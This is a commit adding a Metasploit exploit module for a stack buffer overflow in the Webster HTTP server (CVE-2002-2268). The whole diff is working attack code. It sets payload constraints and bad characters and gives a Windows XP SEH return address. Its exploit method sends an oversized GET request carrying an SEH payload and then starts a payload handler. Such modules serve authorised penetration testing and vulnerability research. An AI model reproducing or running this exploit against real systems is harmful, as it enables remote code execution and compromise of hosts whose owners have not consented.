Added webster_http exploit module.

git-svn-id: file:///home/svn/framework3/trunk@10887 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/webster_http.rb

@@ -0,0 +1,67 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = AverageRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Webster HTTP Server GET Buffer Overflow',
+			'Description'    => %q{
+					This exploits a stack buffer overflow in the Webster HTTP server.
+					The server and source code was released within an article from
+					the Microsoft Systems Journal in February 1996 titled "Write a
+					Simple HTTP-based Server Using MFC and Windows Sockets".
+			},
+			'Author'         => [ 'patrick' ],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2002-2268' ],
+					[ 'OSVDB', '44106' ],
+					[ 'BID', '6289' ],
+					[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
+					[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'       => 1024,
+					'DisableNops' => true,
+					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0', 	{ 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
+					[ 'Debug', 		{ 'Ret' => 0x44434241 } ] , # todo - add more targets.
+				],
+			'DisclosureDate' => 'Dec 02 2002',
+			'DefaultTarget'  => 0))
+	end
+
+	def exploit
+		print_status("Sending request...")
+		seh = generate_seh_payload(target.ret)
+
+		send_request_raw({
+			'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
+		}, 2)
+
+		handler
+	end
+
+end